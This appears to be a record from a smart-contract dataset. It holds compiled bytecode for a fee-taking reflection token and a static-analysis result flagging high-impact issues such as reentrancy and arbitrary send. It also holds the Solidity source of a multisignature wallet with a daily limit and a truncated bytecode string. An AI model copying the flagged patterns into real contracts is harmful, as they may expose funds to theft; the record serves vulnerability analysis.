fffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d0823f71df1ef8a06ef68864da5e783ae941835de030677f6c160af0fde0518d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,193 |
0xd37df7051977462c84d2a89cd78a0a91ff85d645
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021b57806320ea8d861461025e5780632f54bf6e1461028b5780633411c81c146102e65780634bc9fdc21461034b578063547415251461037657806367eeba0c146103c55780636b0c932d146103f05780637065cb481461041b578063784547a71461045e5780638b51d13f146104a35780639ace38c2146104e4578063a0e67e2b146105cf578063a8abe69a1461063b578063b5dc40c3146106df578063b77bf60014610761578063ba51a6df1461078c578063c01a8c84146107b9578063c6427474146107e6578063cea086211461088d578063d74f8edd146108ba578063dc8452cd146108e5578063e20056e614610910578063ee22610b14610973578063f059cf2b146109a0575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b3480156101ba57600080fd5b506101d9600480360381019080803590602001909291905050506109cb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561022757600080fd5b5061025c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a09565b005b34801561026a57600080fd5b5061028960048036038101908080359060200190929190505050610ca2565b005b34801561029757600080fd5b506102cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e4a565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b5061033160048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b604051808215151515815260200191505060405180910390f35b34801561035757600080fd5b50610360610e99565b6040518082815260200191505060405180910390f35b34801561038257600080fd5b506103af600480360381019080803515159060200190929190803515159060200190929190505050610ed6565b6040518082815260200191505060405180910390f35b3480156103d157600080fd5b506103da610f68565b6040518082815260200191505060405180910390f35b3480156103fc57600080fd5b50610405610f6e565b6040518082815260200191505060405180910390f35b34801561042757600080fd5b5061045c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f74565b005b34801561046a57600080fd5b5061048960048036038101908080359060200190929190505050611179565b604051808215151515815260200191505060405180910390f35b3480156104af57600080fd5b506104ce6004803603810190808035906020019092919050505061125e565b6040518082815260200191505060405180910390f35b3480156104f057600080fd5b5061050f60048036038101908080359060200190929190505050611329565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b83811015610591578082015181840152602081019050610576565b50505050905090810190601f1680156105be5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156105db57600080fd5b506105e461141e565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561062757808201518184015260208101905061060c565b505050509050019250505060405180910390f35b34801561064757600080fd5b5061068860048036038101908080359060200190929190803590602001909291908035151590602001909291908035151590602001909291905050506114ac565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106cb5780820151818401526020810190506106b0565b505050509050019250505060405180910390f35b3480156106eb57600080fd5b5061070a6004803603810190808035906020019092919050505061161d565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561074d578082015181840152602081019050610732565b505050509050019250505060405180910390f35b34801561076d57600080fd5b5061077661185a565b6040518082815260200191505060405180910390f35b34801561079857600080fd5b506107b760048036038101908080359060200190929190505050611860565b005b3480156107c557600080fd5b506107e46004803603810190808035906020019092919050505061191a565b005b3480156107f257600080fd5b50610877600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611af7565b6040518082815260200191505060405180910390f35b34801561089957600080fd5b506108b860048036038101908080359060200190929190505050611b16565b005b3480156108c657600080fd5b506108cf611b91565b6040518082815260200191505060405180910390f35b3480156108f157600080fd5b506108fa611b96565b6040518082815260200191505060405180910390f35b34801561091c57600080fd5b50610971600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b9c565b005b34801561097f57600080fd5b5061099e60048036038101908080359060200190929190505050611eb1565b005b3480156109ac57600080fd5b506109b56121a5565b6040518082815260200191505060405180910390f35b6003818154811015156109da57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610a9e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610c23578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b3157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c16576003600160038054905003815481101515610b8f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610bc957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c23565b8180600101925050610afb565b6001600381818054905003915081610c3b919061234f565b506003805490506004541115610c5a57610c59600380549050611860565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cfb57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d6657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610d9657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610eb4576006549050610ed3565b6008546006541015610ec95760009050610ed3565b6008546006540390505b90565b600080600090505b600554811015610f6157838015610f15575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610f485750828015610f47575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610f54576001820191505b8080600101915050610ede565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fae57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561100857600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415151561102f57600080fd5b6001600380549050016004546032821115801561104c5750818111155b8015611059575060008114155b8015611066575060008214155b151561107157600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b600380549050811015611256576001600085815260200190815260200160002060006003838154811015156111b757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611236576001820191505b6004548214156112495760019250611257565b8080600101915050611186565b5b5050919050565b600080600090505b60038054905081101561132